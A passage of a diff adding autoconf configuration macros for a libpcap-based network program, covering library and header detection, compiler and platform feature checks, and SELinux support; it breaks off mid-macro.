AC_DEFINE_UNQUOTED(inline, $ac_cv_lbl_inline, [Define as token for inline if inlining supported])]) + +dnl +dnl Use pfopen.c if available and pfopen() not in standard libraries +dnl Require libpcap +dnl Look for libpcap in .. +dnl Use the installed libpcap if there is no local version +dnl +dnl usage: +dnl +dnl AC_LBL_LIBPCAP(pcapdep, incls) +dnl +dnl results: +dnl +dnl $1 (pcapdep set) +dnl $2 (incls appended) +dnl LIBS +dnl LBL_LIBS +dnl +AC_DEFUN(AC_LBL_LIBPCAP, + [AC_REQUIRE([AC_LBL_LIBRARY_NET]) + dnl + dnl save a copy before locating libpcap.a + dnl + LBL_LIBS="$LIBS" + pfopen=/usr/examples/packetfilter/pfopen.c + if test -f $pfopen ; then + AC_CHECK_FUNCS(pfopen) + if test $ac_cv_func_pfopen = "no" ; then + AC_MSG_RESULT(Using $pfopen) + LIBS="$LIBS $pfopen" + fi + fi + AC_MSG_CHECKING(for local pcap library) + libpcap=FAIL + lastdir=FAIL + places=`ls $srcdir/.. | sed -e 's,/$,,' -e "s,^,$srcdir/../," | \ + egrep '/libpcap-[[0-9]]*.[[0-9]]*(.[[0-9]]*)?([[ab]][[0-9]]*)?$'` + for dir in $places $srcdir/../libpcap $srcdir/libpcap ; do + basedir=`echo $dir | sed -e 's/[[ab]][[0-9]]*$//'` + if test $lastdir = $basedir ; then + dnl skip alphas when an actual release is present + continue; + fi + lastdir=$dir + if test -r $dir/libpcap.a ; then + libpcap=$dir/libpcap.a + d=$dir + dnl continue and select the last one that exists + fi + done + if test $libpcap = FAIL ; then + AC_MSG_RESULT(not found) + AC_CHECK_LIB(pcap, main, libpcap="-lpcap") + if test $libpcap = FAIL ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + dnl + dnl Good old Red Hat Linux puts "pcap.h" in + dnl "/usr/include/pcap"; had the LBL folks done so, + dnl that would have been a good idea, but for + dnl the Red Hat folks to do so just breaks source + dnl compatibility with other systems. + dnl + dnl We work around this by assuming that, as we didn't + dnl find a local libpcap, libpcap is in /usr/lib or + dnl /usr/local/lib and that the corresponding header + dnl file is under one of those directories; if we don't + dnl find it in either of those directories, we check to + dnl see if it's in a "pcap" subdirectory of them and, + dnl if so, add that subdirectory to the "-I" list. + dnl + AC_MSG_CHECKING(for extraneous pcap header directories) + if test \( ! -r /usr/local/include/pcap.h \) -a \ + \( ! -r /usr/include/pcap.h \); then + if test -r /usr/local/include/pcap/pcap.h; then + d="/usr/local/include/pcap" + elif test -r /usr/include/pcap/pcap.h; then + d="/usr/include/pcap" + fi + fi + if test -z "$d" ; then + AC_MSG_RESULT(not found) + else + $2="-I$d $$2" + AC_MSG_RESULT(found -- -I$d added) + fi + else + $1=$libpcap + places=`ls $srcdir/.. | sed -e 's,/$,,' -e "s,^,$srcdir/../," | \ + egrep '/libpcap-[[0-9]]*.[[0-9]]*(.[[0-9]]*)?([[ab]][[0-9]]*)?$'` + if test -r $d/pcap.h; then + $2="-I$d $$2" + elif test -r $places/pcap.h; then + $2="-I$places $$2" + else + AC_MSG_ERROR(cannot find pcap.h, see INSTALL) + fi + AC_MSG_RESULT($libpcap) + fi + LIBS="$libpcap $LIBS" + case "$host_os" in + + aix*) + pseexe="/lib/pse.exp" + AC_MSG_CHECKING(for $pseexe) + if test -f $pseexe ; then + AC_MSG_RESULT(yes) + LIBS="$LIBS -I:$pseexe" + fi + # + # We need "-lodm" and "-lcfg", as libpcap requires them on + # AIX, and we just build a static libpcap.a and thus can't + # arrange that when you link with libpcap you automatically + # link with those libraries. + # + LIBS="$LIBS -lodm -lcfg" + ;; + esac + + dnl + dnl Check for "pcap_list_datalinks()", "pcap_set_datalink()", + dnl and "pcap_datalink_name_to_val()", and use substitute versions + dnl if they're not present + dnl + AC_CHECK_FUNC(pcap_list_datalinks, + AC_DEFINE(HAVE_PCAP_LIST_DATALINKS), + AC_LIBOBJ(datalinks)) + AC_CHECK_FUNC(pcap_set_datalink, + AC_DEFINE(HAVE_PCAP_SET_DATALINK)) + AC_CHECK_FUNC(pcap_datalink_name_to_val, + [ + AC_DEFINE(HAVE_PCAP_DATALINK_NAME_TO_VAL) + AC_CHECK_FUNC(pcap_datalink_val_to_description, + AC_DEFINE(HAVE_PCAP_DATALINK_VAL_TO_DESCRIPTION), + AC_LIBOBJ(dlnames)) + ], + AC_LIBOBJ(dlnames)) + + dnl + dnl Check for "pcap_breakloop()"; you can't substitute for it if + dnl it's absent (it has hooks into the live capture routines), + dnl so just define the HAVE_ value if it's there. + dnl + AC_CHECK_FUNCS(pcap_breakloop) +]) + +dnl +dnl Define RETSIGTYPE and RETSIGVAL +dnl +dnl usage: +dnl +dnl AC_LBL_TYPE_SIGNAL +dnl +dnl results: +dnl +dnl RETSIGTYPE (defined) +dnl RETSIGVAL (defined) +dnl +AC_DEFUN(AC_LBL_TYPE_SIGNAL, + [AC_BEFORE([$0], [AC_LBL_LIBPCAP]) + AC_TYPE_SIGNAL + if test "$ac_cv_type_signal" = void ; then + AC_DEFINE(RETSIGVAL,) + else + AC_DEFINE(RETSIGVAL,(0)) + fi + case "$host_os" in + + irix*) + AC_DEFINE(_BSD_SIGNALS) + ;; + + *) + dnl prefer sigaction() to sigset() + AC_CHECK_FUNCS(sigaction) + if test $ac_cv_func_sigaction = no ; then + AC_CHECK_FUNCS(sigset) + fi + ;; + esac]) + +dnl +dnl If using gcc, make sure we have ANSI ioctl definitions +dnl +dnl usage: +dnl +dnl AC_LBL_FIXINCLUDES +dnl +AC_DEFUN(AC_LBL_FIXINCLUDES, + [if test "$GCC" = yes ; then + AC_MSG_CHECKING(for ANSI ioctl definitions) + AC_CACHE_VAL(ac_cv_lbl_gcc_fixincludes, + AC_TRY_COMPILE( + [/* + * This generates a "duplicate case value" when fixincludes + * has not be run. + */ +# include +# include +# include +# ifdef HAVE_SYS_IOCCOM_H +# include +# endif], + [switch (0) { + case _IO('A', 1):; + case _IO('B', 1):; + }], + ac_cv_lbl_gcc_fixincludes=yes, + ac_cv_lbl_gcc_fixincludes=no)) + AC_MSG_RESULT($ac_cv_lbl_gcc_fixincludes) + if test $ac_cv_lbl_gcc_fixincludes = no ; then + # Don't cache failure + unset ac_cv_lbl_gcc_fixincludes + AC_MSG_ERROR(see the INSTALL for more info) + fi + fi]) + +dnl +dnl Check for flex, default to lex +dnl Require flex 2.4 or higher +dnl Check for bison, default to yacc +dnl Default to lex/yacc if both flex and bison are not available +dnl Define the yy prefix string if using flex and bison +dnl +dnl usage: +dnl +dnl AC_LBL_LEX_AND_YACC(lex, yacc, yyprefix) +dnl +dnl results: +dnl +dnl $1 (lex set) +dnl $2 (yacc appended) +dnl $3 (optional flex and bison -P prefix) +dnl +AC_DEFUN(AC_LBL_LEX_AND_YACC, + [AC_ARG_WITH(flex, [ --without-flex don't use flex]) + AC_ARG_WITH(bison, [ --without-bison don't use bison]) + if test "$with_flex" = no ; then + $1=lex + else + AC_CHECK_PROGS($1, flex, lex) + fi + if test "$$1" = flex ; then + # The -V flag was added in 2.4 + AC_MSG_CHECKING(for flex 2.4 or higher) + AC_CACHE_VAL(ac_cv_lbl_flex_v24, + if flex -V >/dev/null 2>&1; then + ac_cv_lbl_flex_v24=yes + else + ac_cv_lbl_flex_v24=no + fi) + AC_MSG_RESULT($ac_cv_lbl_flex_v24) + if test $ac_cv_lbl_flex_v24 = no ; then + s="2.4 or higher required" + AC_MSG_WARN(ignoring obsolete flex executable ($s)) + $1=lex + fi + fi + if test "$with_bison" = no ; then + $2=yacc + else + AC_CHECK_PROGS($2, bison, yacc) + fi + if test "$$2" = bison ; then + $2="$$2 -y" + fi + if test "$$1" != lex -a "$$2" = yacc -o "$$1" = lex -a "$$2" != yacc ; then + AC_MSG_WARN(don't have both flex and bison; reverting to lex/yacc) + $1=lex + $2=yacc + fi + if test "$$1" = flex -a -n "$3" ; then + $1="$$1 -P$3" + $2="$$2 -p $3" + fi]) + +dnl +dnl Checks to see if union wait is used with WEXITSTATUS() +dnl +dnl usage: +dnl +dnl AC_LBL_UNION_WAIT +dnl +dnl results: +dnl +dnl DECLWAITSTATUS (defined) +dnl +AC_DEFUN(AC_LBL_UNION_WAIT, + [AC_MSG_CHECKING(if union wait is used) + AC_CACHE_VAL(ac_cv_lbl_union_wait, + AC_TRY_COMPILE([ +# include +# include ], + [int status; + u_int i = WEXITSTATUS(status); + u_int j = waitpid(0, &status, 0);], + ac_cv_lbl_union_wait=no, + ac_cv_lbl_union_wait=yes)) + AC_MSG_RESULT($ac_cv_lbl_union_wait) + if test $ac_cv_lbl_union_wait = yes ; then + AC_DEFINE(DECLWAITSTATUS,union wait) + else + AC_DEFINE(DECLWAITSTATUS,int) + fi]) + +dnl +dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member +dnl +dnl usage: +dnl +dnl AC_LBL_SOCKADDR_SA_LEN +dnl +dnl results: +dnl +dnl HAVE_SOCKADDR_SA_LEN (defined) +dnl +AC_DEFUN(AC_LBL_SOCKADDR_SA_LEN, + [AC_MSG_CHECKING(if sockaddr struct has sa_len member) + AC_CACHE_VAL(ac_cv_lbl_sockaddr_has_sa_len, + AC_TRY_COMPILE([ +# include +# include ], + [u_int i = sizeof(((struct sockaddr *)0)->sa_len)], + ac_cv_lbl_sockaddr_has_sa_len=yes, + ac_cv_lbl_sockaddr_has_sa_len=no)) + AC_MSG_RESULT($ac_cv_lbl_sockaddr_has_sa_len) + if test $ac_cv_lbl_sockaddr_has_sa_len = yes ; then + AC_DEFINE(HAVE_SOCKADDR_SA_LEN) + fi]) + +dnl +dnl Checks to see if -R is used +dnl +dnl usage: +dnl +dnl AC_LBL_HAVE_RUN_PATH +dnl +dnl results: +dnl +dnl ac_cv_lbl_have_run_path (yes or no) +dnl +AC_DEFUN(AC_LBL_HAVE_RUN_PATH, + [AC_MSG_CHECKING(for ${CC-cc} -R) + AC_CACHE_VAL(ac_cv_lbl_have_run_path, + [echo 'main(){}' > conftest.c + ${CC-cc} -o conftest conftest.c -R/a1/b2/c3 >conftest.out 2>&1 + if test ! -s conftest.out ; then + ac_cv_lbl_have_run_path=yes + else + ac_cv_lbl_have_run_path=no + fi + rm -f conftest*]) + AC_MSG_RESULT($ac_cv_lbl_have_run_path) + ]) + +dnl +dnl Due to the stupid way it's implemented, AC_CHECK_TYPE is nearly useless. +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_TYPE +dnl +dnl results: +dnl +dnl int32_t (defined) +dnl u_int32_t (defined) +dnl +AC_DEFUN(AC_LBL_CHECK_TYPE, + [AC_MSG_CHECKING(for $1 using $CC) + AC_CACHE_VAL(ac_cv_lbl_have_$1, + AC_TRY_COMPILE([ +# include "confdefs.h" +# include +# if STDC_HEADERS +# include +# include +# endif], + [$1 i], + ac_cv_lbl_have_$1=yes, + ac_cv_lbl_have_$1=no)) + AC_MSG_RESULT($ac_cv_lbl_have_$1) + if test $ac_cv_lbl_have_$1 = no ; then + AC_DEFINE($1, $2) + fi]) + +dnl +dnl Checks to see if unaligned memory accesses fail +dnl +dnl usage: +dnl +dnl AC_LBL_UNALIGNED_ACCESS +dnl +dnl results: +dnl +dnl LBL_ALIGN (DEFINED) +dnl +AC_DEFUN(AC_LBL_UNALIGNED_ACCESS, + [AC_MSG_CHECKING(if unaligned accesses fail) + AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, + [case "$host_cpu" in + + # + # These are CPU types where: + # + # the CPU faults on an unaligned access, but at least some + # OSes that support that CPU catch the fault and simulate + # the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) - + # the simulation is slow, so we don't want to use it; + # + # the CPU, I infer (from the old + # + # XXX: should also check that they don't do weird things (like on arm) + # + # comment) doesn't fault on unaligned accesses, but doesn't + # do a normal unaligned fetch, either (e.g., presumably, ARM); + # + # for whatever reason, the test program doesn't work + # (this has been claimed to be the case for several of those + # CPUs - I don't know what the problem is; the problem + # was reported as "the test program dumps core" for SuperH, + # but that's what the test program is *supposed* to do - + # it dumps core before it writes anything, so the test + # for an empty output file should find an empty output + # file and conclude that unaligned accesses don't work). + # + # This run-time test won't work if you're cross-compiling, so + # in order to support cross-compiling for a particular CPU, + # we have to wire in the list of CPU types anyway, as far as + # I know, so perhaps we should just have a set of CPUs on + # which we know it doesn't work, a set of CPUs on which we + # know it does work, and have the script just fail on other + # cpu types and update it when such a failure occurs. + # + alpha*|arm*|hp*|mips*|sh*|sparc*|ia64|nv1) + ac_cv_lbl_unaligned_fail=yes + ;; + + *) + cat >conftest.c < +# include +# include + unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; + main() { + unsigned int i; + pid_t pid; + int status; + /* avoid "core dumped" message */ + pid = fork(); + if (pid < 0) + exit(2); + if (pid > 0) { + /* parent */ + pid = waitpid(pid, &status, 0); + if (pid < 0) + exit(3); + exit(!WIFEXITED(status)); + } + /* child */ + i = *(unsigned int *)&a[[1]]; + printf("%d\n", i); + exit(0); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ + conftest.c $LIBS >/dev/null 2>&1 + if test ! -x conftest ; then + dnl failed to compile for some reason + ac_cv_lbl_unaligned_fail=yes + else + ./conftest >conftest.out + if test ! -s conftest.out ; then + ac_cv_lbl_unaligned_fail=yes + else + ac_cv_lbl_unaligned_fail=no + fi + fi + rm -f conftest* core core.conftest + ;; + esac]) + AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) + if test $ac_cv_lbl_unaligned_fail = yes ; then + AC_DEFINE(LBL_ALIGN) + fi]) + +dnl +dnl If using gcc and the file .devel exists: +dnl Compile with -g (if supported) and -Wall +dnl If using gcc 2 or later, do extra prototype checking and some other +dnl checks +dnl If an os prototype include exists, symlink os-proto.h to it +dnl +dnl usage: +dnl +dnl AC_LBL_DEVEL(copt) +dnl +dnl results: +dnl +dnl $1 (copt appended) +dnl HAVE_OS_PROTO_H (defined) +dnl os-proto.h (symlinked) +dnl +AC_DEFUN(AC_LBL_DEVEL, + [rm -f os-proto.h + if test "${LBL_CFLAGS+set}" = set; then + $1="$$1 ${LBL_CFLAGS}" + fi + if test -f .devel ; then + if test "$GCC" = yes ; then + if test "${LBL_CFLAGS+set}" != set; then + if test "$ac_cv_prog_cc_g" = yes ; then + $1="-g $$1" + fi + $1="$$1 -Wall" + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="$$1 -Wmissing-prototypes -Wstrict-prototypes -Wwrite-strings -W" + fi + fi + else + case "$host_os" in + + irix6*) + V_CCOPT="$V_CCOPT -n32" + ;; + + *) + ;; + esac + fi + os=`echo $host_os | sed -e 's/\([[0-9]][[0-9]]*\)[[^0-9]].*$/\1/'` + name="lbl/os-$os.h" + if test -f $name ; then + ln -s $name os-proto.h + AC_DEFINE(HAVE_OS_PROTO_H) + else + AC_MSG_WARN(can't find $name) + fi + fi]) + +dnl +dnl Improved version of AC_CHECK_LIB +dnl +dnl Thanks to John Hawkinson (jhawk@mit.edu) +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [, +dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]]) +dnl +dnl results: +dnl +dnl LIBS +dnl +dnl XXX - "AC_LBL_LIBRARY_NET" was redone to use "AC_SEARCH_LIBS" +dnl rather than "AC_LBL_CHECK_LIB", so this isn't used any more. +dnl We keep it around for reference purposes in case it's ever +dnl useful in the future. +dnl + +define(AC_LBL_CHECK_LIB, +[AC_MSG_CHECKING([for $2 in -l$1]) +dnl Use a cache variable name containing the library, function +dnl name, and extra libraries to link with, because the test really is +dnl for library $1 defining function $2, when linked with potinal +dnl library $5, not just for library $1. Separate tests with the same +dnl $1 and different $2's or $5's may have different results. +ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'` +AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var, +[ac_save_LIBS="$LIBS" +LIBS="-l$1 $5 $LIBS" +AC_TRY_LINK(dnl +ifelse([$2], [main], , dnl Avoid conflicting decl of main. +[/* Override any gcc2 internal prototype to avoid an error. */ +]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus +extern "C" +#endif +])dnl +[/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $2(); +]), + [$2()], + eval "ac_cv_lbl_lib_$ac_lib_var=yes", + eval "ac_cv_lbl_lib_$ac_lib_var=no") +LIBS="$ac_save_LIBS" +])dnl +if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then + AC_MSG_RESULT(yes) + ifelse([$3], , +[changequote(, )dnl + ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` +changequote([, ])dnl + AC_DEFINE_UNQUOTED($ac_tr_lib) + LIBS="-l$1 $LIBS" +], [$3]) +else + AC_MSG_RESULT(no) +ifelse([$4], , , [$4 +])dnl +fi +]) + +dnl +dnl AC_LBL_LIBRARY_NET +dnl +dnl This test is for network applications that need socket() and +dnl gethostbyname() -ish functions. Under Solaris, those applications +dnl need to link with "-lsocket -lnsl". Under IRIX, they need to link +dnl with "-lnsl" but should *not* link with "-lsocket" because +dnl libsocket.a breaks a number of things (for instance: +dnl gethostbyname() under IRIX 5.2, and snoop sockets under most +dnl versions of IRIX). +dnl +dnl Unfortunately, many application developers are not aware of this, +dnl and mistakenly write tests that cause -lsocket to be used under +dnl IRIX. It is also easy to write tests that cause -lnsl to be used +dnl under operating systems where neither are necessary (or useful), +dnl such as SunOS 4.1.4, which uses -lnsl for TLI. +dnl +dnl This test exists so that every application developer does not test +dnl this in a different, and subtly broken fashion. + +dnl It has been argued that this test should be broken up into two +dnl seperate tests, one for the resolver libraries, and one for the +dnl libraries necessary for using Sockets API. Unfortunately, the two +dnl are carefully intertwined and allowing the autoconf user to use +dnl them independantly potentially results in unfortunate ordering +dnl dependancies -- as such, such component macros would have to +dnl carefully use indirection and be aware if the other components were +dnl executed. Since other autoconf macros do not go to this trouble, +dnl and almost no applications use sockets without the resolver, this +dnl complexity has not been implemented. +dnl +dnl The check for libresolv is in case you are attempting to link +dnl statically and happen to have a libresolv.a lying around (and no +dnl libnsl.a). +dnl +AC_DEFUN(AC_LBL_LIBRARY_NET, [ + # Most operating systems have gethostbyname() in the default searched + # libraries (i.e. libc): + # Some OSes (eg. Solaris) place it in libnsl + # Some strange OSes (SINIX) have it in libsocket: + AC_SEARCH_LIBS(gethostbyname, nsl socket resolv) + # Unfortunately libsocket sometimes depends on libnsl and + # AC_SEARCH_LIBS isn't up to the task of handling dependencies like this. + if test "$ac_cv_search_gethostbyname" = "no" + then + AC_CHECK_LIB(socket, gethostbyname, + LIBS="-lsocket -lnsl $LIBS", , -lnsl) + fi + AC_SEARCH_LIBS(socket, socket, , + AC_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", , -lnsl)) + # DLPI needs putmsg under HPUX so test for -lstr while we're at it + AC_SEARCH_LIBS(putmsg, str) + ]) + +dnl Copyright (c) 1999 WIDE Project. All rights reserved. +dnl +dnl Redistribution and use in source and binary forms, with or without +dnl modification, are permitted provided that the following conditions +dnl are met: +dnl 1. Redistributions of source code must retain the above copyright +dnl notice, this list of conditions and the following disclaimer. +dnl 2. Redistributions in binary form must reproduce the above copyright +dnl notice, this list of conditions and the following disclaimer in the +dnl documentation and/or other materials provided with the distribution. +dnl 3. Neither the name of the project nor the names of its contributors +dnl may be used to endorse or promote products derived from this software +dnl without specific prior written permission. +dnl +dnl THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND +dnl ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +dnl IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +dnl ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE +dnl FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +dnl DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +dnl OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +dnl HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +dnl LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +dnl OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +dnl SUCH DAMAGE. + +dnl +dnl Checks to see if AF_INET6 is defined +AC_DEFUN(AC_CHECK_AF_INET6, [ + AC_MSG_CHECKING(for AF_INET6) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [int a = AF_INET6], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes ; then + AC_DEFINE(HAVE_AF_INET6) + fi +]) + +dnl +dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member +dnl borrowed from LBL libpcap +AC_DEFUN(AC_CHECK_SA_LEN, [ + AC_MSG_CHECKING(if sockaddr struct has sa_len member) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [u_int i = sizeof(((struct sockaddr *)0)->sa_len)], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes ; then + AC_DEFINE(HAVE_SOCKADDR_SA_LEN) + fi +]) + +dnl +dnl Checks for portable prototype declaration macro +AC_DEFUN(AC_CHECK_PORTABLE_PROTO, [ + AC_MSG_CHECKING(for __P) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include ], + [int f __P(())], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_PORTABLE_PROTOTYPE) + fi +]) + +dnl checks for u_intXX_t +AC_DEFUN(AC_CHECK_BITTYPES, [ + $1=yes +dnl check for u_int8_t + AC_MSG_CHECKING(for u_int8_t) + AC_CACHE_VAL(ac_cv_u_int8_t, + AC_TRY_COMPILE([ +# include ], + [u_int8_t i], + ac_cv_u_int8_t=yes, + ac_cv_u_int8_t=no)) + AC_MSG_RESULT($ac_cv_u_int8_t) + if test $ac_cv_u_int8_t = yes; then + AC_DEFINE(HAVE_U_INT8_T) + else + $1=no + fi +dnl check for u_int16_t + AC_MSG_CHECKING(for u_int16_t) + AC_CACHE_VAL(ac_cv_u_int16_t, + AC_TRY_COMPILE([ +# include ], + [u_int16_t i], + ac_cv_u_int16_t=yes, + ac_cv_u_int16_t=no)) + AC_MSG_RESULT($ac_cv_u_int16_t) + if test $ac_cv_u_int16_t = yes; then + AC_DEFINE(HAVE_U_INT16_T) + else + $1=no + fi +dnl check for u_int32_t + AC_MSG_CHECKING(for u_int32_t) + AC_CACHE_VAL(ac_cv_u_int32_t, + AC_TRY_COMPILE([ +# include ], + [u_int32_t i], + ac_cv_u_int32_t=yes, + ac_cv_u_int32_t=no)) + AC_MSG_RESULT($ac_cv_u_int32_t) + if test $ac_cv_u_int32_t = yes; then + AC_DEFINE(HAVE_U_INT32_T) + else + $1=no + fi +]) + +dnl +dnl Checks for addrinfo structure +AC_DEFUN(AC_STRUCT_ADDRINFO, [ + AC_MSG_CHECKING(for addrinfo) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include ], + [struct addrinfo a], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_ADDRINFO) + else + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for NI_MAXSERV +AC_DEFUN(AC_NI_MAXSERV, [ + AC_MSG_CHECKING(for NI_MAXSERV) + AC_CACHE_VAL($1, + AC_EGREP_CPP(yes, [#include +#ifdef NI_MAXSERV +yes +#endif], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 != yes; then + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for NI_NAMEREQD +AC_DEFUN(AC_NI_NAMEREQD, [ + AC_MSG_CHECKING(for NI_NAMEREQD) + AC_CACHE_VAL($1, + AC_EGREP_CPP(yes, [#include +#ifdef NI_NOFQDN +yes +#endif], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 != yes; then + AC_DEFINE(NEED_ADDRINFO_H) + fi +]) + +dnl +dnl Checks for sockaddr_storage structure +AC_DEFUN(AC_STRUCT_SA_STORAGE, [ + AC_MSG_CHECKING(for sockaddr_storage) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [struct sockaddr_storage s], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_SOCKADDR_STORAGE) + fi +]) + +dnl +dnl Checks for macro of IP address size +AC_DEFUN(AC_CHECK_ADDRSZ, [ + $1=yes +dnl check for INADDRSZ + AC_MSG_CHECKING(for INADDRSZ) + AC_CACHE_VAL(ac_cv_inaddrsz, + AC_TRY_COMPILE([ +# include ], + [int a = INADDRSZ], + ac_cv_inaddrsz=yes, + ac_cv_inaddrsz=no)) + AC_MSG_RESULT($ac_cv_inaddrsz) + if test $ac_cv_inaddrsz = yes; then + AC_DEFINE(HAVE_INADDRSZ) + else + $1=no + fi +dnl check for IN6ADDRSZ + AC_MSG_CHECKING(for IN6ADDRSZ) + AC_CACHE_VAL(ac_cv_in6addrsz, + AC_TRY_COMPILE([ +# include ], + [int a = IN6ADDRSZ], + ac_cv_in6addrsz=yes, + ac_cv_in6addrsz=no)) + AC_MSG_RESULT($ac_cv_in6addrsz) + if test $ac_cv_in6addrsz = yes; then + AC_DEFINE(HAVE_IN6ADDRSZ) + else + $1=no + fi +]) + +dnl +dnl check for RES_USE_INET6 +AC_DEFUN(AC_CHECK_RES_USE_INET6, [ + AC_MSG_CHECKING(for RES_USE_INET6) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include ], + [int a = RES_USE_INET6], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_RES_USE_INET6) + fi +]) + +dnl +dnl check for AAAA +AC_DEFUN(AC_CHECK_AAAA, [ + AC_MSG_CHECKING(for AAAA) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include ], + [int a = T_AAAA], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_AAAA) + fi +]) + +dnl +dnl check for struct res_state_ext +AC_DEFUN(AC_STRUCT_RES_STATE_EXT, [ + AC_MSG_CHECKING(for res_state_ext) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include +# include ], + [struct __res_state_ext e], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_RES_STATE_EXT) + fi +]) + +dnl +dnl check for struct res_state_ext +AC_DEFUN(AC_STRUCT_RES_STATE, [ + AC_MSG_CHECKING(for nsort in res_state) + AC_CACHE_VAL($1, + AC_TRY_COMPILE([ +# include +# include +# include +# include ], + [struct __res_state e; e.nsort = 0], + $1=yes, + $1=no)) + AC_MSG_RESULT($$1) + if test $$1 = yes; then + AC_DEFINE(HAVE_NEW_RES_STATE) + fi +]) + +dnl +dnl check for h_errno +AC_DEFUN(AC_VAR_H_ERRNO, [ + AC_MSG_CHECKING(for h_errno) + AC_CACHE_VAL(ac_cv_var_h_errno, + AC_TRY_COMPILE([ +# include +# include ], + [int foo = h_errno;], + ac_cv_var_h_errno=yes, + ac_cv_var_h_errno=no)) + AC_MSG_RESULT($ac_cv_var_h_errno) + if test "$ac_cv_var_h_errno" = "yes"; then + AC_DEFINE(HAVE_H_ERRNO) + fi +]) + +dnl +dnl Test for __attribute__ +dnl + +AC_DEFUN(AC_C___ATTRIBUTE__, [ +AC_MSG_CHECKING(for __attribute__) +AC_CACHE_VAL(ac_cv___attribute__, [ +AC_TRY_COMPILE([ +#include +], +[ +static void foo(void) __attribute__ ((noreturn)); + +static void +foo(void) +{ + exit(1); +} +], +ac_cv___attribute__=yes, +ac_cv___attribute__=no)]) +if test "$ac_cv___attribute__" = "yes"; then + AC_DEFINE(HAVE___ATTRIBUTE__, 1, [define if your compiler has __attribute__]) + V_DEFS="$V_DEFS -D_U_=\"__attribute__((unused))\"" +else + V_DEFS="$V_DEFS -D_U_=\"\"" +fi +AC_MSG_RESULT($ac_cv___attribute__) +]) +dnl --> insert something meaningfull here <-- + +AC_DEFUN(AC_UNI_SELINUX, [ +shlibs=".la" + +AC_MSG_CHECKING(for selinux) +default_selinux_directories="/usr /usr/local /usr/local/selinux" +AC_ARG_WITH(selinux, +[ --with-selinux=PREFIX find selinux headers and libs in this PREFIX], +[lookin="$withval"], +[lookin="$default_selinux_directories"]) + +if test "$lookin" = "yes"; then + lookin="$default_selinux_directories" +fi + +good=no +for g in $lookin; do + if test -r "$g/include/selinux/selinux.h"; then + SELINUXINC=$g + AC_MSG_RESULT(yes, found inside $g) + good=yes + break + fi +done +if test $good = "yes"; then + dnl now check its accually enabled, due to the large number of systems with it only installed + dnl obviously this doesnt work for cross compile XXX + AC_MSG_CHECKING(checking that selinux is enforcing) + enforce=0 + if test -r /selinux/enforce; then + enforce=`cat /selinux/enforce` + fi + if test $enforce = 1; then + CHCON=chcon + SP_MODE=4511 + UNILDADD="${UNILDADD} -lselinux" + shlibs=".so" + AC_DEFINE(WITH_SELINUX) + AC_MSG_RESULT(yes, sender and listener will be setuid root) + else + CHCON=true + 